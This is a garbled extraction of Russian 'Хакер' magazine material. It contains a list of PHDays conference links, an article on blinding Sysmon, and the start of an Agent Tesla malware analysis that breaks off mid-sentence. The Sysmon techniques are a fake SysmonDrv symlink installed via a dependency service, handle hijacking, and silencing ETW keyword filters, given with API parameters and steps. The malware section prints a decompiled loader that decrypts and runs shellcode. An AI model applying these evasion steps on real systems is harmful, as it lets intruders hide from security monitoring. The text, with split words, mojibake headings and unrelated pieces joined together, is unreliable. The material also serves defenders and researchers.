https://pt-phdays12.storage.yandexcloud.net/78/10_00_PH_Days2024_Golovanov_final.pdf
https://www.youtube.com/watch?v=NKW5iHhSDd4
https://pt-phdays12.storage.yandexcloud.net/78/11_00_Kucherin_Bezvershenko_Larin.pdf
https://nvd.nist.gov/vuln/detail/CVE-2023-41990
https://nvd.nist.gov/vuln/detail/CVE-2023-32434
https://nvd.nist.gov/vuln/detail/CVE-2023-32435
https://nvd.nist.gov/vuln/detail/CVE-2023-38606
https://www.youtube.com/watch?v=8tHBfS8gQcw
https://pt-phdays12.storage.yandexcloud.net/93/18_00_PHD_2_Pogruzhenie_v_Darkveb_Pavlovskaya.pdf
https://t.me/s3Ch1n7
https://www.youtube.com/watch?v=rS358GL8Pxw
https://pt-phdays12.storage.yandexcloud.net/93/Antipova_Sinkevich_phd2_compromise_assessment_dark_compressed.pdf
https://t.me/hahacking
https://xakep.ru/author/slonser/
https://t.me/slonser_notes
https://www.youtube.com/watch?v=8saTC3FSi-c
https://pt-phdays12.storage.yandexcloud.net/84/Tishina_Elizaveta_1.pdf
https://www.youtube.com/watch?v=cAkuKMvKGWw
https://pt-phdays12.storage.yandexcloud.net/84/PHD_Uvarov.pdf
https://www.youtube.com/watch?v=fgp2EuWsE7w
https://pt-phdays12.storage.yandexcloud.net/96/Polishin_Konstantin_Offense_24_maya_2.pdf
https://www.youtube.com/watch?v=P-_1cdJewAw
https://www.youtube.com/watch?v=cYwOgXZJLew
https://pt-phdays12.storage.yandexcloud.net/78/16_00_PHD_Azerskiy_Kardava_What_s_yours_is_now_ours_S2.pdf
https://github.com/facct-ransomware/tools
https://t.me/webpwn
https://t.me/WebPwnChat
https://www.youtube.com/watch?v=2WThb1n0aRE
https://pt-phdays12.storage.yandexcloud.net/105/Uchat_v_shkole_Lopaniczyn_Anton.pdf
https://xakep.ru/2024/06/04/phd-fest-2/
https://phdays.com/forum/program/
https://www.youtube.com/@positiveevents5242/videos
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ВЗЛОМ

По лучив дос туп к взло ман ной сис теме, ата- 
кующий пер вым делом реали зует тех ники

, которые поз- 
воля ют осла бить монито ринг безопас ности
инфраструк туры и, как следс твие, дей ство- 
вать мак сималь но незамет но.

ук лонения от обна руже ния

Се год ня давай раз берем ряд тех ник, которые помога ют зло умыш ленни кам
обой ти рас ширен ный монито ринг. В качес тве подопыт ного инс тру мен та
будем исполь зовать Sysmon.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Эта статья логичес ки делит ся на две час ти — по источни кам информа ции,
на осно ве которых Sysmon фор миру ет свои события. В пер вой мы пос- 
мотрим, как мож но нарушить вза имо дей ствие меж ду драй вером 

и служ бой , во вто рой — погово рим о воз дей ствии на под систе му

ETW. Итак, поеха ли!

SysmonDrv
Sysmon64

ÂÎÇÄÅÉÑÒÂÓÅÌ ÍÀ ÓÑÒÐÎÉÑÒÂÎ SYSMONDRV

В моем  я рас ска зывал о том, как осле пить рас- 
ширен ный монито ринг, манипу лируя с дес крип тором безопас ности объ екта
ком муника цион ного устрой ства  и про воци руя Sysmon
на пов торное откры тие хен дла это го устрой ства (вызов 
с опци ей ).

пре дыду щем матери але

\\Device\SysmonDrv
DuplicateHandle()

DUPLICATE_CLOSE_SOURCE
Се год ня мы пос мотрим еще пару тех ник, с помощью которых мож но воз- 

дей ство вать на про цесс переда чи информа ции от модуля ядра 

служ бе , а соот ветс твен но, и на фор мирова ние событий безопас- 

ности.

SysmonDrv
Sysmon64

Ôåéêîâûé DosDevice
Суть этой тех ники зак люча ется в том, что бы соз дать сим воличес кую ссыл ку
(сим линк) на ком муника цион ное устрой ство  рань ше,

чем это сде лает драй вер Sysmon. Успешная экс плу ата ция поз волит ата- 
кующе му под менить объ ект ком муника цион ного устрой ства и тем самым
осле пить Sysmon. Про цесс режима поль зовате ля Sysmon64.exe не смо жет
получать никакую информа цию и, как следс твие, не будет фор мировать
события.

\\Device\SysmonDrv

Для понима ния работы этой тех ники давай вспом ним, как работа ет инс- 
тру мент Sysmon. В его сос тав вхо дят два ком понен та:
1. Драй вер, который с помощью кол бэков и мини-филь тров отсле жива ет

события, про исхо дящие в сис теме: соз дание и завер шение про цес сов,
соз дание фай лов, дос туп к памяти про цес са, соз дание уда лен ного потока,
заг рузку биб лиотек и дру гие.

2. Служ ба режима поль зовате ля, которая получа ет информа цию от драй вера
 и фор миру ет события безопас ности.SysmonDrv

Драй вер  в про цес се сво ей ини циали зации соз дает ком муника- 
цион ное устрой ство , что бы служ ба  мог ла

получать от него информа цию. Одна ко здесь сущес тву ет неболь шая осо бен- 
ность: поль зователь ские при ложе ния не могут нап рямую вза имо дей ство вать
с девай сами. Для этой цели в сис теме соз дает ся ,
через которую и про исхо дит все «обще ние». Вот как это выг лядит в WinObj.

SysmonDrv
\\Device\SysmonDrv Sysmon64

сим воличес кая ссыл ка

А что будет, если ата кующий попыта ется под менить эту ссыл ку? Давай пос- 
мотрим.

В сис теме сущес тву ет спе циаль ный вызов , который поз- 
воля ет соз давать (и пере опре делять) сим воличес кие ссыл ки на устрой ства:

DeneDosDevice

 BOOL DefineDosDeviceW(
    [in]            DWORD dwFlags,
  [in]            LPCWSTR lpDeviceName,
     [in, optional] LPCWSTR lpTargetPath
);

В парамет ре  переда ются фла ги, кон тро лиру ющие работу фун- 
кции. Ука жем , что будет озна чать «не сооб- 
щать никому об изме нении».

• dwFlags

DDD_NO_BROADCAST_SYSTEM

Во вто ром парамет ре ( ) ука зыва ем имя сим линка —
, а в треть ем ( ) — фей ковый путь к устрой ству

( ).

• lpDeviceName

SysmonDrv lpTargetPath

\??\Device\fakedrv

Бла года ря фун кции мы можем под менить сим линк .SysmonDrv

Од нако это нуж но успеть сде лать до того момен та, как про цесс 

 ее откро ет. Для это го вре донос ный про цесс  дол жен
быть зарегис три рован в качес тве служ бы, а у сер виса  в зависи мос- 

тях дол жна быть ука зана ссыл ка на него.

Sysmon64.
exe FakeDosDevice.exe

Sysmon64

Для регис тра ции служб есть спе циаль ная фун кция :CreateService

 SC_HANDLE CreateServiceA(
  [in]            SC_HANDLE hSCManager,
     [in]            LPCSTR lpServiceName,
        [in, optional] LPCSTR lpDisplayName,
      [in]            DWORD dwDesiredAccess,
      [in]            DWORD dwServiceType,
      [in]            DWORD dwStartType,
      [in]            DWORD dwErrorControl,
        [in, optional] LPCSTR lpBinaryPathName,
        [in, optional] LPCSTR lpLoadOrderGroup,
      [out, optional] LPDWORD lpdwTagId,
        [in, optional] LPCSTR lpDependencies,
        [in, optional] LPCSTR lpServiceStartName,
        [in, optional] LPCSTR lpPassword
);

Пер вым парамет ром ( ) переда ется хендл базы дан ных дис- 
петче ра управле ния служ бами. Его мож но получить с помощью фун кции

.

• hSCManager

OpenSCManager
Вто рой ( ) и тре тий ( ) парамет ры при- 
нима ют имя регис три руемой служ бы. Уста новим их рав ными

.

• lpServiceName lpDisplayName

FakeDosDevice

Так как вызов  воз вра щает хендл на соз данную служ бу,
с которым мож но работать даль ше, а сама служ ба — это объ ект ядра,
в чет вертом парамет ре ( ) переда ется 

.

• CreateService

dwDesiredAccess зап рашива емый
дос туп
Да лее мы ука зыва ем тип служ бы — 
(параметр ).

• SERVICE_WIN32_OWN_PROCESS

dwServiceType

С помощью парамет ра  ука зыва ем тип авто запус ка.
В нашем слу чае он равен .

• dwStartType

SERVICE_AUTO_START

В парамет ре  переда ется уро вень кри тич ности и дей- 
ствие в слу чае ошиб ки ( ).

• dwErrorControl

SERVICE_ERROR_NORMAL

В кон це ( ) ука зыва ем путь к исполня емо му фай лу
, получа емый динами чес ки с помощью фун кции

.

• lpBinaryPathName

FakeDosDevice.exe

QueryFullProcessImageName
Ос тавши еся парамет ры уста новим в .• NULL

Итак, служ бу  мы зарегис три рова ли. Теперь ее нуж но

добавить в зависи мос ти . Если в сис теме сто ит Sysmon вер- 
сии 15 и выше, то штат ными средс тва ми это сде лать не получит ся, пос коль ку
он работа ет как Protected Process.

FakeDosDevice
Sysmon64

В этом слу чае мы можем изме нить кон фигура цию  нап рямую в реес- 

тре — добавить клю чик . Для работы с реес тром нам

понадо бят ся две фун кции:  и .

Sysmon64
DependOnService
RegCreateKey RegSetValueEx

Фун кция  получа ет дос туп к задан ной вет ке реес тра:RegCreateKeyA

 LSTATUS RegCreateKeyA(
    [in]           HKEY hKey,
    [in, optional] LPCSTR lpSubKey,
   [out]          PHKEY phkResult
);

В парамет ре  ука зыва ем вет ку . В  — путь

к парамет рам служ бы :

hKey HKEY_LOCAL_MACHINE lpSubKey
Sysmon64

SYSTEM\CurrentControlSet\Services\Sysmon64\ 

В  получа ем резуль тат в виде хен дла, ука зыва юще го на вет ку реес- 

тра.

phkResult

Что бы соз дать ключ , вос поль зуем ся фун кци ей

:

DependOnService
RegSetValueEx

 LSTATUS RegSetValueExA(
    [in]           HKEY hKey,
    [in, optional] LPCSTR lpValueName,

                  DWORD Reserved,
   [in]           DWORD dwType,
         [in] const BYTE *lpData,
    [in]           DWORD cbData
);

С помощью парамет ра  переда ем хендл на ранее откры тую вет ку
реес тра.

• hKey

Во вто ром парамет ре ( ) ука зыва ем имя нового клю ча —
.

• lpValueName

DependOnService

В  — его тип ( ).• dwType REG_MULTI_SZ

В парамет ре  переда ем ука затель на буфер дан ных, которые будут
исполь зованы как зна чение клю ча реес тра.

• lpData

Пос ледним парамет ром ( ) переда ем раз мер переда ваемо го
буфера.

• cbData

Ес ли запус тить резуль тат нашего твор чес тва 
, то в сис теме зарегис три рует ся служ ба , которая

будет стар товать перед  и делать фей ковую ссыл ку  на 
, что не поз волит  вза имо дей ство вать с собс твен ным

драй вером.

с рас ширен ным админ ским
токеном FakeDosDevice

Sysmon64 SysmonDrv \\
Device\fakedrv Sysmon

В жур нале  мы уви дим событие
ана логич ное тому, что было при манипу ляци ях с дес крип тором безопас ности.

Microsoft-Windows-Sysmon\Operational

Ïîäìåíà õåíäëà SysmonDrv
В  мы изме няли дес крип тор безопас ности устрой ства 

 и зас тавля ли Sysmon пов торно получать хендл, ука зыва- 
ющий на это устрой ство (бла го такая воз можность есть в коде самого
Sysmon).

прош лом матери але \\
Device\SysmonDrv

Се год ня давай пос мотрим на такую же тех нику, но на сей раз поп робу ем
собс твен норуч но под менить хендл объ екта . Эта тех- 

ника носит наз вание Handle Hijacking и под робно опи сана в 
. Крат ко напом ню алго ритм дей ствий:

\\Device\SysmonDrv
статье

на «Хакере»
1. При оста нав лива ем выпол нение про цес са с помощью вызова

.NtSuspendProcess()
2. С помощью фун кции  получа ем таб лицу хен- 

длов про цес са Sysmon64.exe.
NtQueryInformationProcess()

3. Зак рыва ем хендл на устрой ство с помощью вызова .DuplicateHandle
4. С помощью  получа ем опи сатель для устрой ства 

 (устрой ство может быть любым, отличным от ).
CreateFile() \\

Device\Tcp SysmonDrv

5. Внед ряем новый опи сатель в про цесс Sysmon, пов торно вызывая
, и возоб новля ем его работу .DuplicateHandle() NtResumeProcess()

Да вай нач нем с при оста нов ки выпол нения про цес са Sysmon64.exe.

Это мож но сде лать с помощью вызова , который на вход

при нима ет единс твен ный аргу мент — хендл, ука зыва ющий на про цесс
 с мас кой .

NtSuspendProcess()

Sysmon64.exe PROCESS_SUSPEND_RESUME

  NTSTATUS NTAPI NtSuspendProcess(
   IN HANDLE ProcessHandle
);

Пос мотрим в таб лицу хен длов.

Эта опе рация выпол няет ся с помощью вызова ,
который мы под робно рас смат ривали .

NtQueryInformationProcess
в пре дыду щем матери але

Зак рыва ем хендл устрой ства  ( ) и пов торно

смот рим в таб лицу хен длов.

\\Device\SysmonDrv 0x32c

Убеж даем ся, что у про цес са  боль ше нет дес крип тора
для устрой ства .

Sysmon64.exe
\\Device\SysmonDrv

Хендл зак рыва ется с помощью вызова :DuplicateHandle

 BOOL DuplicateHandle(
       [in] HANDLE hSourceProcessHandle,
       [in] HANDLE hSourceHandle,
       [in] HANDLE hTargetProcessHandle,
    [out] LPHANDLE lpTargetHandle,
        [in] DWORD dwDesiredAccess,
         [in] BOOL bInheritHandle,
        [in] DWORD dwOptions
);

Па раметр  при нима ет хендл про цес са,
из которо го про исхо дит копиро вание хен дла. Дос туп к про цес су дол жен
быть получен по мас ке .

• hSourceProcessHandle

PROCESS_DUP_HANDLE
В парамет ре  переда ется хендл устрой ства 

, который был получен на пре дыду щем шаге (с помощью
вызова ).

• hSourceHandle \\Device\

SysmonDrv

NtQueryInformationProcess()

Треть им ( ) переда ется хендл текуще го про цес- 
са, получа емый с помощью .

• hTargetProcessHandle

GetCurrentProcess()
В чет вертом парамет ре ( ) переда ем ука затель
на перемен ную типа , в которую будет помещен ско пиро ван ный
хендл.

• lpTargetHandle

HANDLE

И пос ледним парамет ром ( ) переда ем опцию копиро вания
, которая ука зыва ет на необ ходимость зак- 

рыть исходный хендл пос ле копиро вания («зак рыть исходный хендл в про- 
цес се Sysmon»).

• dwOptions

DUPLICATE_CLOSE_SOURCE

Идем даль ше и получа ем хендл устрой ства .\\Device\Tcp

Эта опе рация выпол няет ся с помощью вызова , который мы под- 
робно рас смат ривали .

CreateFile
в пре дыду щем матери але

Де лаем инъ екцию это го хен дла в про цесс Sysmon64.

И возоб новля ем выпол нение про цес са .Sysmon64.exe

Это дела ется с помощью вызова , который, как и
, при нима ет единс твен ный аргу мент — хендл про цес са

с мас кой :

NtResumeProcess()
NtSuspendProcess()

PROCESS_SUSPEND_RESUME

  NTSTATUS NTAPI NtResumeProcess(
    IN HANDLE ProcessHandle
);

Да вай пос мотрим в жур нал .Microsoft-Windows-Sysmon\Operational

Ви дим мно жес тво одно тип ных событий EventID 255 и получа ем еще один
детект:

Provider.Name='Microsoft-Windows-Sysmon' and EventID='255' and 
EventData.ID= 'DriverCommunication' and EventData.
Description='Failed to retrieve events - Last 
error: Параметр задан неверно.' 

ÌÀÍÈÏÓËßÖÈÈ Ñ ETW

В  мы меняли дес крип тор безопас ности на сес- 
сию сбо ра событий. Это поз воляло пол ностью осле пить Sysmon, одна ко
в оснас тке «Прос мотр событий» появ лялось явное сви детель ство того, что
про исхо дит что-то нелад ное.

од ной из пре дыду щих ста тей

Кро ме того, в том же самом матери але мы меняли парамет ры филь тра ции
для сис темной сес сии , вык лючая все события. Этот под- 
ход отно ситель но незаме тен, но он отру бал лишь малую часть событий.

NT Kernel Logger

Èçìåíÿåì ïàðàìåòðû îòáîðà ñîáûòèé ïðîâàéäåðà
Да вай теперь пос мотрим, как мож но филь тро вать (отби рать) события, фор- 
миру емые про вай дерами, на уров не сес сий ETW. Эта тех ника поз волит осле- 
пить Sysmon без каких-либо сви детель ств в жур нале 

 и допол нитель ных перезаг рузок сис темы.

Microsoft-Windows-
Sysmon\Operational

За поведе ние про вай дера «внут ри сес сии» отве чает струк тура
._TRACE_ENABLE_INFO

Эта струк тура содер жит два инте рес ных нам парамет ра, с помощью которых
мож но «отфиль тро вать события»:  и .

Давай оста новим ся на них под робнее.

MatchAnyKeyword MatchAllKeyword

Что же такое кей вор ды? Каж дый про вай дер содер жит заранее пре доп- 
ределен ный перечень событий. Сами по себе события могут быть объ еди- 
нены в груп пы. А каж дой груп пе мож но навесить теги, это и есть кей вор ды.
Этот механизм поз воля ет делать выбор ку событий по катего риям внут ри сес- 
сии.

Как говорит ся в , параметр 

пред став ляет собой битовую мас ку, с помощью которой мож но опре делить,
какие события будут переда вать ся в сес сию ETW. При чем, что бы событие
про вай дера было переда но в сес сию трас сиров ки, дос таточ но, что бы любой
из кей вор дов был уста нов лен в . Давай пос мотрим это на

при мере EventID 8 про вай дера .

офи циаль ной докумен тации MatchAnyKeyword

MatchAnyKeyword
Microsoft-Windows-Kernel-EventTracing

На это событие навеша но два кей вор да — 

и . Таким обра зом, что бы оно попало в сес сию,

в парамет ре  дол жны быть уста нов лены в еди ницу 6-й
или 10-й биты. Могут быть уста нов лены как оба бита одновре мен но — 0x220
(544), так и любой из них в отдель нос ти — 0x200 (512) или 0x20 (32).

ETW_KEYWORD_PROVIDER
ETW_KEYWORD_REGISTRATION

MatchAnyKeyword

Па раметр  отли чает ся от  тем, что
для того, что бы событие было переда но в сес сию, дол жны быть уста нов лены
сра зу все биты в мас ке. Для EventID 8 (про вай дера 

) параметр  дол жен иметь зна- 
чение 0x220 (544).

MatchAllKeyword MatchAnyKeyword

Microsoft-Windows-
Kernel-EventTracing MatchAllKeyword

На прак тике час то зна чение  рав но нулю, а параметр

 — . Это поз воля ет пот реблять все
события от про вай дера.

MatchAllKeyword
MatchAnyKeyword 0xFFFFFFFF'FFFFFFFF

Из менить эти парамет ры из поль зователь ско го прос транс тва мож но
с помощью вызова :EnableTraceEx2

  ULONG WMIAPI EnableTraceEx2(
 [in]           TRACEHANDLE              TraceHandle,
 [in]           LPCGUID                  ProviderId,
 [in]           ULONG                    ControlCode,
 [in]           UCHAR                    Level,
 [in]           ULONGLONG                MatchAnyKeyword,
 [in]           ULONGLONG                MatchAllKeyword,
 [in]           ULONG                    Timeout,
    [in, optional] PENABLE_TRACE_PARAMETERS EnableParameters
);

В параметр  переда ется хендл сес сии трас сиров ки.• TraceHandle

Вто рой параметр ( ) при нима ет GUID про вай дера.• ProviderId

С помощью  ука зыва ем на необ ходимость изме нить
парамет ры работы про вай дера
( ).

• ControlCode

EVENT_CONTROL_CODE_ENABLE_PROVIDER

В парамет рах  и  ука зыва ем тре- 
буемый уро вень выбор ки событий про вай дера.

• MatchAnyKeyword MatchAllKeyword

Итак, давай пос мотрим на сес сию 

.

EventLog-Microsoft-Windows-Sysmon-
Operational

Эта сес сия пот ребля ет события от одно го про вай дера — 

. При чем пот ребля ет все события (параметр
). Давай поп робу ем изме нить этот параметр и пос мотрим,

что будет.

Microsoft-
Windows-Sysmon
MatchAnyKeyword

Ко ман да 

вызыва ет фун кцию  и уста нав лива ет параметр

.

set manykeyword <SessionHandle> <ProviderGuid> <Bitmask>
EnableTraceEx2()

MatchAnyKeyword
Пос ле про делан ных манипу ляций про веря ем жур нал 

 и убеж даем ся, что события боль ше не фор миру ются.

При этом сам Sysmon даже никак не опо вес тил нас об этом.

Microsoft-Windows-
Sysmon\Operational

Да вай поп робу ем изме нить параметр .MatchAllKeyword

Пов торно смот рим в жур нал Sysmon и убеж даем ся в отсутс твии событий.
На этом, пожалуй, закон чим изде вать ся над Sysmon и пой дем думать

о том, как все это детек тировать. Спа сибо всем, у кого хва тило тер пения
дочитать до кон ца!
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ВЗЛОМ

Не дав но мне попал ся инте рес ный экзем- 
пляр мал вари под наз вани ем Agent Tesla.
Он рас простра нен и исполь зует ся по сей
день (семпл 2023 года). Пред лагаю поп- 
робовать иссле довать его и пос мотреть,
что внут ри у боевой мал вари.

Кро ме того, мы стол кнем ся:
с рас паков кой инстал лятора NSIS и ана лизом получен ного инстал ляци- 
онно го скрип та, который нам поможет в рас паков ке;

•

по иском фун кции  при ее обвязке в CRT (мож но будет уди вить ся,
сколь ко кода неяв но закиды вает ком пилятор в .exe);

• main

рас шифров кой и дам пингом шелл-кода и пред варитель ным поис ком его
по фун кции выделе ния памяти;

•

пра виль ной заг рузкой получен ного шелл-кода в дизас сем блер.•

В этот раз я отой ду от сво ей тра диции исполь зовать IDA Pro для ревер синга:
вмес то это го возь мем Ghidra. С момен та ее выпус ка прош ло уже нес коль ко
лет, она обза велась вну шитель ным спис ком баг фиксов и новых фич, к тому
же она бес плат на и пос тоян но обновля ется.

INFO

В прош лый раз я  в 2019 году, ког- 
да этот инс тру мент толь ко-толь ко стал дос тупен
широкой пуб лике.

пи сал о Ghidra

ÏÎÄÃÎÒÎÂÈÒÅËÜÍÛÅ ÐÀÁÎÒÛ

На чина ем этап пред варитель ной раз ведки: закиды ваем семпл в детек тор
пакеров и про тек торов DiE. Выяс няем, что мал варь пос тавля ется в виде
инстал лятора NSIS.

Ре зуль тат ска ниро вания DiE инстал лятора Agent Tesla

 содер жимое инстал лятора и получа ем нес коль ко фай лов. Обра ти
вни мание, что сре ди рас пакован ных фай лов дол жен быть скрипт NSIS,
который содер жит полез ную информа цию. Для рас паков ки я исполь зовал
уста рев шую вер сию 7-Zip (под дер жка извле чения скрип тов начина ется с вер- 
сии 4.42 и прек раща ется в вер сии 15.06).

Из вле каем

Ин терес ная часть NSIS-скрип та

В этой час ти скрип та мы видим спи сок фай лов в инстал ляторе и парамет ры
запус ка единс твен ного .exe (это инте рес но и при годит ся нам в даль нейшем).
Сре ди про чих дан ных скрип та есть путь уста нов ки . Теперь
пос мотрим на PE-файл в DiE.

InstallDir $TEMP

Смот рим рас пакован ный PE в DiE

Вид но, что файл написан на C/C++, ском пилиро ван для 32-бит ных сис тем и,
судя по не осо бен но высокой энтро пии, не запако ван. Приш ло вре мя заг- 
рузить его в Ghidra.

ÐÅÂÅÐÑÈÌ

Сре ди фун кций, перечис ленных в таб лице импорта, есть упо мина ние
. Она-то нас и инте ресу ет, потому что мал варь час то исполь- 

зует ее для выделе ния памяти под рас паков ку. Вос ста нав лива ем перек рес- 
тную ссыл ку и видим фун кцию, в которой она вызыва ется.

VirtualAlloc

Мы мог ли бы поп робовать пой ти «быс трым» путем: заг рузить вре донос
в отладчик, пос тавить бряк на  и... обло мать ся, потому что

Agent Tesla завер шится рань ше бря ка. Поэто му всег да советую в пер вую оче- 
редь осмотреть инте рес ные вызовы и при лега ющий к ним код в ста тике.

VirtualAlloc

Фун кция неболь шая, при веду лис тинг деком пилято ра Ghidra пол ностью.
Тем более что она нам инте рес на поч ти вся.

    BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR
param_3)

{
  DWORD DVar1;
  DWORD DVar2;
  BOOL BVar3;
  HANDLE hFile;
  HANDLE hFileMappingObject;
  LPVOID _Src;
  code *_Dst;
  int local_8;

   DVar1 = GetTickCount();
 Sleep(702);
   DVar2 = GetTickCount();
       if (DVar2 - DVar1 < 700) {
     BVar3 = 0;
 }
  else {
     hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
       if (hFile == 0xffffffff) {

       BVar3 = 0;
   }
    else {

       hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0);
         if (hFileMappingObject == 0x0) {

       CloseHandle(hFile);
         BVar3 = 0;

     }
      else {
         _Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);

           if (_Src == 0x0) {
         CloseHandle(hFileMappingObject);
         CloseHandle(hFile);

           BVar3 = 0;
       }

        else {
           _Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);

             if (_Dst == 0x0) {
           UnmapViewOfFile(_Src);
           CloseHandle(hFileMappingObject);
           CloseHandle(hFile);

             BVar3 = 0;
         }

          else {
           FID_conflict:_memcpy(_Dst,_Src,0x1de0);

           
 
           for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1
) {

    
  

             _Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4
[local_8 % 0xc];
           }
           (*_Dst)();
           VirtualFree(_Dst,0,0x8000);
           UnmapViewOfFile(_Src);
           CloseHandle(hFileMappingObject);

             BVar3 = CloseHandle(hFile);
         }
       }
     }
   }
 }
  return BVar3;
}

Здесь сра зу бро сают ся в гла за стро ки кода, содер жащие прос тую анти- 
отладку:

  DVar1 = GetTickCount();
Sleep(702);

  DVar2 = GetTickCount();
      if (DVar2 - DVar1 < 700) {

   BVar3 = 0;
}

 else {

Это извес тный анти отла доч ный при ем, который про веря ет ско рость выпол- 
нения кода. Если код выпол няет ся слиш ком мед ленно (замеря ем вре мя
выпол нения в мил лисекун дах при помощи двух вызовов ),

перемен ная  при нима ет зна чение 0, и прог рамма завер шает ся.

GetTickCount
BVar3

Сле дующий инте рес ный кусок кода откры вает файл, и, если сде лать это не
получа ется, прог рамма так же завер шает ся. Я не зря уже говорил, что нуж но
сна чала изу чить код в ста тике и толь ко потом идти в отладчик. Так почему же
исполня емый файл завер шает ся до нашего брейк-пой нта? Давай пос мотрим,
что за файл от нас тут ждут:

  hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
    if (hFile == 0xffffffff) {

   BVar3 = 0;

Îïðåäåëÿåì ôóíêöèþ main
Ра зуме ется, нам инте ресен аргу мент , который сооб щает фун кции

 путь к фай лу. Этот аргу мент выходит за пре делы нашей фун- 

кции, и мы находим единс твен ную перек рес тную ссыл ку на эту фун кцию,
которая ведет нас вот в такой код. Обра ти вни мание на десять инте рес ных
фун кций, которые помогут кос венно опре делить, где мы находим ся!

param_3
CreateFileA

  int __cdecl __scrt_common_main_seh(void)
{
  code *pcVar1;
  bool bVar2;
  undefined4 uVar3;
  int iVar4;
  code **ppcVar5;
  _func_void_void_ptr_ulong_void_ptr **pp_Var6;
  byte *OpenFileArg;
  uint uVar7;
  BOOL unaff_ESI;
  undefined4 uVar8;
  undefined4 uVar9;
  void *local_14;

 // Интересная функция 1
   uVar3 = ___scrt_initialize_crt(1);
     if (uVar3 != '\0') {
     bVar2 = false;
   // Интересная функция 2
     uVar3 = ___scrt_acquire_startup_lock();
       if (DAT_0041cb9c != 1) {

         if (DAT_0041cb9c == 0) {
         DAT_0041cb9c = 1;

         iVar4 = __initterm_e(&DAT_00414238,&DAT_00414254);
           if (iVar4 != 0) {

           ExceptionList = local_14;
          return 0xff;

       }
       FUN_00407131(&DAT_0041422c,&DAT_00414234);

         DAT_0041cb9c = 2;
     }

      else {
         bVar2 = true;

     }
     // Интересная функция 3
     ___scrt_release_startup_lock(uVar3);

       ppcVar5 = FUN_00401e6e();
         if ((*ppcVar5 != 0x0) &&

          (uVar3 = ___scrt_is_nonwritable_in_current_image(ppcVar5),
        // Интересная функция 4

           uVar3 != '\0')) {
         pcVar1 = *ppcVar5;
         uVar9 = 0;
         uVar8 = 2;
         uVar3 = 0;

       // Интересная функция 5
       _guard_check_icall();
       (*pcVar1)(uVar3,uVar8,uVar9);
     }

       pp_Var6 = FUN_00401e74();
         if ((*pp_Var6 != 0x0) &&

          (uVar3 = ___scrt_is_nonwritable_in_current_image(pp_Var6),
        // Интересная функция 6

           uVar3 != '\0')) {
       // Интересная функция 7
       __register_thread_local_exe_atexit_callback(*pp_Var6);
     }
     // Интересная функция 8
     ___scrt_get_show_window_mode();
     // Интересная функция 9

       OpenFileArg = __get_narrow_winmain_command_line();
        unaff_ESI = main(0x400000,0,OpenFileArg); // !

       uVar7 = FUN_00401fcb();
         if (uVar7 != '\0') {
         if (!bVar2) {

         __cexit();
       }
       // Интересная функция 10
       ___scrt_uninitialize_crt('\x01','\0');

         ExceptionList = local_14;
        return unaff_ESI;

     }
      goto LAB_00401afd;

   }
 }
 FUN_00401e7a(7);
LAB_00401afd:

 _exit(unaff_ESI);

В этом коде наша фун кция  уже наз вана мной , но как я

узнал об этом? Смот рим вни матель но и видим, что вызыва ющая  фун- 

кция име ет наз вание . То есть эта
фун кция — начало ран тай ма CRT. Она дела ет необ ходимые нас трой ки (в том
чис ле SEH, как вид но из наз вания) и затем уже заг ружа ет фун кцию ,

которая име ет про тотип 
, то есть ожи дает три аргу мен та. Далее вспо мина ем, что наше при- 

ложе ние — 32-бит ное, поэто му вызыва ющий код будет выг лядеть при мер но
так:

FUN_00401300 main
main

__cdecl __scrt_common_main_seh(void)

main
main(int argc, const char **argv, const char

**envp)

push edi 
push esi 
push eax] [
call main 

В деком пилиро ван ном лис тинге видим вот что (аргу мент  уже

наз ван мной):

OpenFileArg

___scrt_get_show_window_mode();
  OpenFileArg = __get_narrow_winmain_command_line();

  unaff_ESI = main(0x400000,0,OpenFileArg);

Ар гумен ты извле кают ся вызовом фун кции
, кро ме того, вызыва ется метод

, который сиг нализи рует, показы вать окно
при ложе ния или нет. Так же видим фун кции ини циали зации и деини циали- 
зации CRT:  и . Одним

сло вом, мы однознач но опре деля ем, что это обвязка CRT для фун кции ,
и при помощи шагов, опи сан ных выше, опре деля ем точ ку вхо да в .

__get_narrow_winmain_command_line()
___scrt_get_show_window_mode()

___scrt_initialize_crt ___scrt_uninitialize_crt
main

main

INFO

Пе ред нами хороший при мер того, сколь ко кода
ком пилятор авто мати чес ки укла дыва ет в соз дава- 
емое при ложе ние. Мы пишем прос той «Hello,
world», сос тоящий из одной фун кции

, а в таб лице импорта видим мно го
инте рес ного. Что бы избе жать подоб ного, нуж но
покол довать над нас трой ками про екта.

MessageBox

Ðàñøèôðîâûâàåì øåëë-êîä
Итак, мы можем сде лать вывод, что параметр , ради которо го мы
про вели это неболь шое иссле дова ние, — это не что иное, как путь, переда- 
ваемый как аргу мент коман дной стро ки. Вспо мина ем, что в скрип те инстал- 
лятора мы видели строч ку, начина ющуюся с . Она говорит нам
о том, что в качес тве аргу мен та переда ется файл , который

находит ся в чис ле фай лов инстал лятора. Идем по фун кции  даль ше

и видим:

param_3

ExecWait
pgkayd.aq

main

// Выделяем память
  _Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);

// Если вызов VirtualAlloc неудачный, производим очистку и идем на 
завершение

    if (_Dst == 0x0) {
 UnmapViewOfFile(_Src);
 CloseHandle(hFileMappingObject);
 CloseHandle(hFile);
   BVar3 = 0;
}

 else {
 // Копируем данные в выделенную область при помощи memcpy
 FID_conflict:_memcpy(_Dst,_Src,0x1de0);
 // А это цикл расшифровки данных, основанный на XOR
             for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
         _Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 %
0xc];
 }
 // Вызов расшифрованного кода
 (*_Dst)();

Здесь мно го инте рес ного: и вызов , за который мы уце пились,

